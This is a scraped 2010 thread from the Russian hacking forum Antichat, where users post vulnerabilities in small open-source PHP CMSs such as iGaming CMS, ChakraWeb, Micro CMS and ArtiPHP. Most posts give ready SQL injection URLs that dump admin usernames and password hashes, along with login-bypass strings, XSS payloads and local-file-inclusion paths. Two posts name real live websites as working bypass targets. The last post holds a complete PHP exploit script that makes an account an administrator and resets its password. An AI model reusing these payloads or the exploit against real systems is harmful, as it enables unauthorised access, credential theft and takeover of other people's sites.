Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
17.03.2010, 05:15
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
product : jurpopage-0.0.6 Дополнение постов [x60]unu...
SQL inj
html.php
mg=off
PHP код:
...
if(empty($id)) $id=1;
$web = new speed_template($template_path);
$web->register($template_name);
$query = "
SELECT *
FROM webpg
WHERE webpg_id='$id'
";
...
Result:
http://localhost/jurp/html.php?id= [sql]
http://localhost/jurp/html.php?id=3'+union+select+1,2,3--+
SQL inj
Файл login.php
POST + капча
mg=off
В скрипте 2 запроса.
Многострочный коментарий надо во второй запрос втулить чтоб обойти авторизацию, но так как там upper(), то не получаеться, вот. Но самое интересное что -- принимает.
В поле с USER ID такую строку
a') and(1,2)=(select * from(select+name_const(version(),1),name_const(ver sion(),1))a)--
и имеею иньекцию в первом запросе. Обязательны все 3 поля.
PHP код:
...$conn_id = connect();
//--- check apakah ada nama user tersebut
//master user
$query = "
SELECT
count(*) as user_exist
FROM
master_user
WHERE
upper(user_id) = upper('$send_user')
";
$result = fn_query($conn_id,$query);
$mRet =fn_fetch_row($result);
if ($mRet[0]>0) {
//proses
while($rows = fn_fetch_array($result)) extract($rows,EXTR_OVERWRITE);
$password = md5($password);
$query = "
SELECT
#user_id as temp_value, user_level as temp_level
user_id as temp_value, user_level as temp_level,
master_user_id as temp_rowid
FROM
master_user
WHERE
upper(user_id) = upper('$send_user') and
user_password = '$password'
";...
вывод ошибок от СУБД есть, файл fungsi.php
PHP код:
...function fn_query($conn, $input)
{
//$result =pg_query($input,$conn);
$result =@mysql_query($input,$conn);
if (!$result)
{
die ("Error eksekusi:<br>".mysql_error());
return false;
}
return $result;...
Последний раз редактировалось Strilo4ka; 17.03.2010 в 12:00..
|
|
|
17.03.2010, 13:31
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Дополнение постов [x60]unu...
iGaming CMS
Product : iGaming CMS
version : 1.5
site : forums.igamingcms.com
SQL inj
Файл screenshots.php
mg=off
PHP код:
...if (isset($_REQUEST[id])) {
$result = $db->Execute("SELECT * FROM `sp_screenshots` WHERE `id` = '$_REQUEST[id]' LIMIT 1");
echo $start_table . '<b>',stripslashes($result->fields['title']),'</b>' . $end_table . '<br />';
echo '<center><img src="',$result->fields['screen'],'" border="0" alt="',stripslashes($result->fields['title']),'"></center>';
}...
Result:
http://localhost/gami/screenshots.php?id=1 [sql]
http://localhost/gami/screenshots.php?id=-1'+union+select+1,version(),3,4,5--+
SQL inj
reviews.php
mg=off
PHP код:
... if (isset($_REQUEST['browse'])) {
$sql = $db->Execute("SELECT id,title,section FROM `sp_reviews`
WHERE `title` LIKE '".$_REQUEST['browse']."%'
ORDER BY `title`");...
Result:
http://localhost/gami/reviews.php?browse=Z [sql]
http://localhost/gami/reviews.php?browse=Z'+union+select+1,2,3/*
SQL ing
search.php
mg=off
PHP код:
... if ($_REQUEST['platform'] != 'all') {
$platform = "`section` = '" . $_REQUEST['platform'] . "' ";
} else {
$platform = "`section` LIKE '%' ";
}
if ($_REQUEST['exact'] == '1') {
$title = "`title` = '".$_REQUEST['keywords']."' ";
} else {
$title = "`title` LIKE '%".$_REQUEST['keywords']."%' ";
}
$result = $db->Execute("SELECT id,title,section,publisher,developer FROM `sp_games` WHERE $title AND $platform AND `published` = '1' ORDER BY `title`");
while ($row = $result->FetchNextObject()) {...
Result:
Посылаем пост или гет запрос.
$_REQUEST['keywords'] [sql] или на другую переменную...
поле Keywords пишем - %' union select 1,version(),3,4,5/*
Blind sql
poll_vote.php
PHP код:
$result = $db->Execute("SELECT * FROM sp_polls_options WHERE id = '$_REQUEST[id]'");
$ip = $db->Execute("SELECT * FROM sp_polls_iplog WHERE pollid = '" . $result->fields['poll_id'] . "' AND ip = '" . $_SERVER['REMOTE_ADDR'] . "';") or die($db->ErrorMsg());
if ($ip->RecordCount() < 1)
{
$count2 = $result->fields['count'] + 1;
$db->Execute("UPDATE `sp_polls_options` SET `count` = $count2 WHERE `id` = '$_REQUEST[id]'");
$db->Execute("INSERT INTO sp_polls_iplog (pollid,ip) VALUES ('" . $result->fields['poll_id'] . "','" . $_SERVER['REMOTE_ADDR'] . "');");
}
если чесно даже ковырять впадляк !!! много дыр... 
Последний раз редактировалось Strilo4ka; 17.03.2010 в 15:00..
|
|
|
|
18.03.2010, 04:17
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Jupiter 1.1.5
http://www.jupiterportal.org
passive xss
было скачано с http://www.cmsdownload.com/index.php?name=Downloads&get=99&mirror=132
PHP код:
...error_reporting (E_ALL);
$PHP_SELF = $_SERVER['PHP_SELF'];...
PHP код:
...<tr><td class="con1" valign="top"><a href="<?= $PHP_SELF ?>?a=logout"> » <?= $language['Bans desc4'] ?></a></td></tr>...
PHP код:
...if(!isset($is_loged_in))
{
?>
<tr class='bottom' height='1%'><td valign='top'><?= $language['Maintance title2'] ?></td></tr><tr><td class='con2'><?= messagedef($language['Header message']) ?></td></tr>
<tr><td class='con1' height='96%' valign='top'>
<form method='post' action='<?= $PHP_SELF ?>?n=modules/login'>...
PHP код:
...<table width='100%' cellspacing='1' border='0' cellpadding='2'>
<tr><td class='empty' width='35%' valign='top'><a href='<?= $PHP_SELF ?>?n=modules/login&a=1'> » <?= $language['Maintance desc6'] ?></a></td>
<td class='con1' width='5%'> </td>...
PHP код:
...if(file_exists("$n.php"))
{
if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
else include("$n.php");
}
elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");...
Result:
http://localhost/jupiter/index.php[XSS]
passive xss
modules/block.php
PHP код:
...if(!isset($is_webmaster))
{ header("location: $PHP_SELF?i=2"); exit; }...
Result:http://localhost/jupiter/modules/blocks.php[XSS]
http://localhost/jupiter/modules/blocks.php%3Cscript%3Ealert(123)%3C/script%3E
В скриптах есть еще много XSS=/
Последний раз редактировалось Strilo4ka; 18.03.2010 в 04:57..
|
|
|
|
18.03.2010, 16:44
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме:
866555
Репутация:
226
|
|
LightNEasy
site:http://www.lightneasy.org/index.php
magic_quotes_gps = off
Вход с полномочиями admin
Единственное, что я придумал:
login: "+union+select+1,2,'40bd001563085fc35165329ea1ff5c 5ecbdbbeef',5,5,6,7,8,9,10,11+--+
pass: 123
40bd001563085fc35165329ea1ff5c5ecbdbbeef - sha-1("123")
Уязвимый код( common.php):
PHP код:
$result=dbquery('SELECT * FROM '.$prefix.'users WHERE handle="'.$_POST['handle'].'"');
if($row = fetch_array($result)) {
if($row['password'] == sha1($_POST['password'])) {
//inserts password in cookie
setcookie('userpass', sha1(trim($_POST['password'])), time() + 60 * 60 * 24 * 30);
setcookie('userhandle', $_POST['handle'], time() + 60 * 60 * 24 * 30);
$_SESSION[$set['password']]="1";
$_SESSION['user']=$row['handle'];
$_SESSION['adminlevel']=$row['adminlevel'];
$message=$langmessage[95];
unset($_GET['do']);
header("Location: ".$set['homepath']);
} else
$message=$langmessage[96];
} else
$message=$langmessage[96];
Activexss
http://localhost/light/LightNEasy.php?page=news
Код:
commentmessage=<script>alert(document.cookie)</script>
Уязвимый код( common.php)
PHP код:
$_POST['commentmessage'] = str_replace($order, "<br />", $_POST['commentmessage']);
$query="INSERT INTO ".$prefix."comments (newsid, poster, postermail, time, text) VALUES (".$_POST['newsid'].",\" ".encode($_POST['commentname'])."\", \"".encode($_POST['commentemail'])."\", ".time().", \"".encode(stripslashes($_POST['commentmessage']))."\")";
dbquery($query);
Последний раз редактировалось Seravin; 18.03.2010 в 17:29..
Причина: красивее сделал=)
|
|
|
|
19.03.2010, 22:37
|
|
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740
Репутация:
912
|
|
Дополнение к https://forum.antichat.ru/showpost.php?p=1991535&postcount=343
---------------------------------------
SQL injection(требования: mq=off,rq=on)
№1
file: modules/users.php
PHP код:
case 1:
....
$user = $db->getLine("SELECT * FROM users",$d);
if(!$user) header("location: $PHP_SELF?i=error");
....
file: includes/functions_db.php
PHP код:
function getLine($query,$id=FALSE)
{
if($id===FALSE)
$this->query($query);
else
$this->query($query." WHERE `id`='$id'");
if(is_resource($this->sqlr))
{
$line=mysql_fetch_assoc($this->sqlr);
$this->freeResult();
return $line;
}
return FALSE;
}
result:
Код:
/index.php?n=modules/users&a=1&d=-1'+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+users+where+id=1+--+
№2
file: modules/forum.php
PHP код:
case 1:
...
$forum_cat = $db->getLine("SELECT id, name FROM forum_cat",$d);
if(!$forum_cat) header("location: $PHP_SELF?i=error");
...
file: includes/functions_db.php
PHP код:
function getLine($query,$id=FALSE)
{
if($id===FALSE)
$this->query($query);
else
$this->query($query." WHERE `id`='$id'");
if(is_resource($this->sqlr))
{
$line=mysql_fetch_assoc($this->sqlr);
$this->freeResult();
return $line;
}
return FALSE;
}
result:
Код:
/index.php?n=modules/forum&a=1&d=-1'+union+select+1,concat_ws(0x3a,username,password)+from+users+where+id=1+--+
//инъекции с использованием бажной функции getLine
№3
/index.php?n=modules/forum&a=3&d=1&o=1&q=-1'+union+select+1,2,3,4,concat_ws(0x3a,username,pa ssword),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,2 1,22,23+from+users+where+id=1+--+
№4
/index.php?n=modules/forum&a=5&d=1&o=1&q=1&p=0&k=-1'+union+select+1,concat_ws(0x3a,username,password )+from+users+where+id=1+--+
№5
/index.php?n=modules/pm&a=3&d=-1'+union+select+1,2,3,4,5,concat_ws(0x3a,username, password),7,8,9,10,11,12,13,14,15,16,17,18,19,20+f rom+users+where+id=1+--+&s=r_date&t=DESC&p=1
... |
|
|
|
24.03.2010, 02:12
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214
Репутация:
3171
|
|
Product: Acute Control Panel
Version: 1.1.1
Author: http://acutecp.rediscussed.com/
Автор выложил на опенсурсецмс.орг, наткнулся, и посмотрел
SQL-Inj
Need: mq = off
File: acute-cp/login.php
PHP код:
$username = strtolower($_POST['username']);
$password = strtolower($_POST['password']);
if (!empty($username) || !empty($password)){
$query = mysql_query("SELECT id,username,password,email,fullname,permissions FROM `users` WHERE username='$username' AND password='$password'", $conn) or die(mysql_error());
$row = mysql_fetch_array($query);
....
if(mysql_numrows($query)== 1){
$_SESSION['username']=$row['username'];
$_SESSION['email']=$row['email'];
$_SESSION['fullname']=$row['fullname'];
$_SESSION['permissions']=$row['permissions'];
Target: {POST} [COLOR=YellowGreen] ?login=-1'+union+select+1,2,3,4,5,6+--+&password=1[/COLOR
or ByPass:{POST} ?login=-22' or 1=1+--+&password=1
После установки сессий, есть возможность проводить инъекции практически во все файлы.Например можно сделать локальный инклуд:
File: acute-cp/options.php
PHP код:
$so_theme = $_POST['so_theme'];
....
$so_edit_settings = $_POST['Update'];
if(isset($so_edit_settings)){
$result = mysql_query("UPDATE `settings` SET `website_option`='$so_theme' WHERE website_setting='theme'")or die(mysql_error());
...
File: web_settings.php
PHP код:
$result = mysql_query("SELECT `website_option` FROM `settings` WHERE website_setting='theme'",$conn) or die(mysql_error());
$theme_name_result = mysql_fetch_row($result);
$theme_name = $theme_name_result['0'];
//$theme_directory = "themes/".$theme_name; //old code that was exploited
If(strpos($_SERVER['SCRIPT_FILENAME'],"acute-cp")){ //is in sub folder, such as admin
define("theme_directory","../themes/".$theme_name);
}else{
define("theme_directory","themes/".$theme_name);
}
File: index.php
PHP код:
<?php include_once("web_settings.php"); ?>
<?php include_once(theme_directory."/header.php"); ?>
Target: {POST} acute-cp/options.php?so_theme=../../../../../../../etc/passwd%00
Enter: http://target/index.php
|
|
|
|
25.03.2010, 20:43
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
STACK
System for Teaching and Assessment using a Computer algebra Kernel
The STACK system is a computer aided assessment package for mathematics.
LFI example:
Код:
http://vesna.fmf.uni-lj.si/stack/documentation.php?action=/../../../../../../../etc/passwd%00&expand=13
HOME PAGE:
Код:
http://sourceforge.net/projects/stack/
Vulnerable: Stack 1.1
|
|
|
|
25.03.2010, 23:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Продукт ChakraWeb!
Скачал отсюдо
ChakraWeb is open source CMS (Content Management System) that suitable to create small professional websites and optimize affiliate revenue.
SQL inj
mg не имеет значения!
/phpmod/news.php
Для рядового польз.:
PHP код:
...case 'detail':
NewsShowDetail();
break;...
PHP код:
...function NewsShowDetail()
{
$news_id = RequestGetValue('id', 0);
$sql = "select news_title, news_desc, news_content from news where news_id=$news_id";
$rs = DbExecute($sql);
if ($rs && !$rs->EOF)...
/_files/library/fun_utils.php
PHP код:
...
function RequestGetValue($var_name, $default=false, $clean=CLEAN_NO)
{
global $PhpMagicQuote;
if (isset($_REQUEST[$var_name]))
{
$out = $_REQUEST[$var_name];
if (is_string($out))
{
if ($PhpMagicQuote)
$out = stripslashes($out);
$out = trim($out);
}
if ($clean == CLEAN_SAVE)
$out = HtmlClean($out);
else if ($clean == CLEAN_ALL)
$out = HtmlCleanAll($out);
}
else
$out = $default;
return $out;
}...
Result:
http://chakra/phpmod/news.php?op=detail&id=1 [SQL]&cat=3
http://chakra/phpmod/news.php?op=detail&id=-1+union+select+concat_ws%280x3a,m_name,m_password% 29,2,3+from+sysmember+limit+1,1--+&cat=3
/files/library/fun_web.php function InitSystemVars()
PHP код:
...
$gFolderId = RequestGetValue('cat', 0);
if ($gFolderId == 0)...
function NewsShowPage
PHP код:
... $gPageId = 0;
DBGetFolderData($gFolderId);
$gWebPage['page_sidebar'] = RenderPageSidebar()...
/_files/library/fun_web.php
PHP код:
...function DBGetFolderData($folder_id)
{
global $gCurrentUrlPath;
global $gFolder;
global $db;
global $gReadLevel, $gWriteLevel;
if ($folder_id >= 0)
{
$sql = "select folder_lid, folder_id, folder_name, folder_label, folder_title, folder_desc, folder_keywords,
folder_robots, folder_sidebar, folder_parent, folder_show, folder_active, folder_order,
read_level, write_level, upload_by, upload_on, update_on
from web_folder where folder_id=$folder_id and folder_lid=".$db->qstr(UserGetLID());
$rs = DbExecute($sql);
if ($rs === false) DbFatalError("DBGetFolderData");
if (!$rs->EOF)
{...
/_files/library/fun_dbutils.php
PHP код:
...function DbFatalError($section, $msg='')
{
global $db;
if (!empty($msg))
$msg .= '. ';
$msg .= $db->ErrorMsg();
DbLogWrite($section, '.MSG:', $msg);
SystemFatalError($section, $msg);
}...
/_files/library/cls_dbase.php
PHP код:
...
function ErrorMsg()
{
return 'DBError('.@mysql_errno().'): '.@mysql_error();
}...
/_files/library/fun_systems.php
PHP код:
...function SystemFatalError($section, $msg)
{
SetDynamicContent();
$out = '<html><head><title>Fatal System Error</title>';
$out .= '</head><body>';
$out .= '<hr noshade size=2>';
$out .= 'Fatal System Error On <b>'.$section.':</b><br> '.$msg;
$out .= '<hr noshade size=2>';
$out .= 'Sorry for this unconvenience. Please report to the webmaster of this homepage.';
$out .= '</body></html>';
echo $out;
die();
}...
Result:
http://chakra/phpmod/news.php?op=detail&id=1&cat=3 [SQL]
http://chakra/phpmod/news.php?op=detail&id=1&cat=3+and+%281,2%29=%28sel ect+*+from%28select+name_const%28version%28%29,1%2 9,name_const%28version%28%29,1%29%29a%29--
XSS
/phpmod/search.php
PHP код:
...
$q = RequestGetValue('q', '');
$p = RequestGetValue('p', 1);
$title = "<h1>"._HPAGE_SEARCH_TITLE."</h1>\n";
$content = "<p>".sprintf(_HPAGE_SEARCH_MESSAGE, $q)."</p>\n";...
Result:
http://chakra/phpmod/search.php?q= [XSS]
http://chakra/phpmod/search.php?q=%3Cscript%3Ealert%28123%29%3C%2Fscrip t%3E
SQL inj
/phpmod/link.php
$op приним. (ряд. пользователь)
PHP код:
...case 'show':
LinkInitVars();
LinkFormShow('add', false);
break;...
Функция RequestGetValue описана выше!
PHP код:
function LinkInitVars()
{
global $gWebPage;
global $gPageId;
global $gFolder, $gFolderId;
$gWebPage['from'] = '';
$gWebPage['fld_id'] = 0;
$gWebPage['fld_url'] = '';
$gWebPage['fld_title'] = '';
$gWebPage['fld_desc'] = '';
$gWebPage['fld_note'] = '';
$gPageId = RequestGetValue('id', 0);
}
PHP код:
...function LinkFormShow($op, $dbinit, $errmsg='')
{
global $gFolder, $gFolderId;
global $gRequestPath, $gCurrentUrlPath, $gRequestFile;
global $gWebPage;
global $gHomePageHeader, $gHomePageFooter;
global $gBaseLocalPath;
global $gHomePageUrl, $gPageNavigation;
$from = RequestGetValue('from');
if (!empty($from))
{
$gCurrentPageNavigation = '';
$gPageNavigation = array();
$gPageNavigation[] = array($gHomePageUrl.$gBaseUrlPath."/index.html", _NAV_FRONTPAGE);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/cpanel.php", _NAV_CONTROL_PANEL);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php", _NAV_TODO_LIST);
$gPageNavigation[] = array($gHomePageUrl."/phpmod/todo.php?op=link", _NAV_TODO_LINK);
$gWebPage['from'] = $from;
}
else
{
DBGetFolderData($gFolderId);
$gRequestPath = FindPathFromFolderId($gFolderId);
$gCurrentUrlPath = $gBaseUrlPath.$gRequestPath;
$gRequestFile = 'index.html';
$gWebPage['from'] = '';
}
...
Принтабельное поле, где именно код впадло искать !
Result:
http://chakra/phpmod/link.php?op=show&cat=4 [SQL]
http://chakra/phpmod/link.php?op=show&cat=4+and+0+union+select+1,2,3,4, 5,6,7,8,concat_ws%280x3a,database%28%29,user%28%29 ,version%28%29%29,10,11,12,13,14,15,16,17,18--+
Последний раз редактировалось Strilo4ka; 26.03.2010 в 02:56..
|
|
|
|
26.03.2010, 06:12
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660
Репутация:
1148
|
|
Продукт Micro CMS 3.5
скачать
Micro CMS is the only program available that combines a search-engine-friendly WYSIWYG with a simple, AJAX-based content management system, making the management of your static web site incredibly easy and fast.
SQL inj
/microcms-admin-login.php
PHP код:
...if ($i == 0) {
$sql = '
SELECT *
FROM microcms_administrators
WHERE administrators_username = "' . $_POST['administrators_username'] . '" and
administrators_pass = PASSWORD("' . $_POST['administrators_pass'] . '")';
$user_result = mysql_query($sql);...
Класика жанра!
POST запрос:
action - "microcms-admin-login.php"
текстовое поле - "administrators_username",
поле для ввода пасса - "administrators_pass",
скрытое [ name="action" type="hidden" value="admin_login" ]
Result:
поле administrators_username = admin
поле administrators_pass = 123 ") or 1=1 Или в первое поле - странная ошибка!
Мы внутри! ;-)
SQL inj
/micro_cms_files/cms/revert-content.php - 3 поле принтаб
PHP код:
...if ($_GET['type'] == 'newer') {
$result = mysql_query('
SELECT *
FROM microcms_content_blurb_history
WHERE content_blurbs_variable = "' . $_GET['id'] . '" and
content_blurb_history_version_num = "' . $_GET['version'] . '"
ORDER BY content_blurb_history_version_num ASC
LIMIT 1');
} elseif ($_GET['type'] == 'older') {...
Result:
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content [SQL]&type=newest
ы_ы, нашы админы!
Код HTML:
http://microcms/micro_cms_files/cms/revert-content.php?id=test_content%22+union+select+1,2,group_concat(concat_ws(0x3a,administrators_username,administrators_pass)%20separator%200x40),4,5+from+microcms_administrators--+&type=newest
Забыл :
условия - mg=off
Реальные примеры:
http://www.zeturija.lt/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой
http://www.bistroboheme.se/microcms-admin-home.php
admin" or "admin"="admin" /*
пасс любой
Последний раз редактировалось Strilo4ka; 26.03.2010 в 09:01..
|
|
|
|
26.03.2010, 17:31
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214
Репутация:
3171
|
|
Product: ArtiPHP
Version: 5.0.0 Neo
Author: http://www.artiphp.com/
Blind SQL-Injection.
Need: mq=off.
File: artpublic/utilisateurs/modif_inscription.php
PHP код:
$prenom = htmlspecialchars($prenom);
$nom = htmlspecialchars($nom);
$login = htmlspecialchars($login);
$login2 = htmlspecialchars($_POST['login2']);
$site = htmlspecialchars($site);
$url = htmlspecialchars($url);
$ville = htmlspecialchars($ville);
$metier = htmlspecialchars($metier);
$pass = htmlspecialchars($pass);
$pass2 = htmlspecialchars($pass2);
....
if ($pass && $pass2) {
// ***** MODIF jimro ***** Ajout $passMD5 et modif requкte - 28/10/2005
$passMD5 = md5($pass);
$requete = "UPDATE " . ARTI_PREFIX_TB . "utilisateurs SET prenomUtilisateur='$prenom', nomUtilisateur='$nom', passUtilisateur=password('$pass'), passUtilisateurMD5='$passMD5', loginUtilisateur='$login2', siteUtilisateur='$site', urlUtilisateur='$url', villeUtilisateur='$ville', metierUtilisateur='$metier' WHERE id_utilisateur='$SESSION_ID'";
...
Target:
Expl0it:
PHP код:
<?php
/**
* @author m0hze
* @copyright 2010
* @{http://forum.antichat.net}
* @ Yeeeees, baby!
*/
$host = 'target.com'; // URl target host example.com, don't use / (slash))!
$path = '/'; // Path to target folder
$login = 'YouLogin'; // Enter you login
$password = 'Password?'; // Enter you password
$newpass = 'NewPassword :)'; // This is you new password, for you account
$groupid = 1; // You new GROUPID, 1 = administrator.
function auth($login, $password) // Function auth on site, and get cookie
{
global $host, $path, $authscript;
$newpath = $path . 'artpublic/includes/verif_user.php';
$data = 'login=' . $login . '&pass=' . $password;
$fp = fsockopen($host, 80);
fputs($fp, "POST $newpath HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: " . strlen($data) . "\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
while (!feof($fp)) {
$result .= fgets($fp, 128);
}
if (stripos($result, "index.php")) {
preg_match('#Set-Cookie:(.*);#iU', $result, $match);
//list($name,$value) = explode('=',$match[1]);
echo ("Authorisation: COMPLETE!...");
return (trim($match[1]) . ';');
} else {
die("Authorisation: FAILED!");
}
}
function exploit($cookie) // Function exploit, change you group, password.
{
global $host, $path, $authscript, $newpass, $groupid, $login;
$newpath = $path . 'artpublic/utilisateurs/modif_inscription.php';
$data = "prenom=HelloByExploit&nom=HelloByExploit&login2=$login',id_ugroup='".$groupid."',passUtilisateur=PASSWORD('" .
$newpass . "'),passUtilisateurMD5='" . md5($newpass) .
"'+where+loginUtilisateur='" . $login . "'+--+&login=$login&pass=1234&pass2=1234";
$fp = fsockopen($host, 80);
fputs($fp, "POST $newpath HTTP/1.1\r\n");
fputs($fp, "Host: $host\r\n");
fputs($fp, "Referer: $referer\r\n");
fputs($fp, "Cookie: $cookie\r\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
fputs($fp, "Content-length: " . strlen($data) . "\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fputs($fp, $data);
echo '<br>Login: ' . $login;
echo '<br>Password: ' . $newpass;
}
exploit(auth($login, $password));
?>
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для .:[melkiy]:.](/avatars/avatar74910.gif){kind=avatar}
Похожие темы
Линейный вид
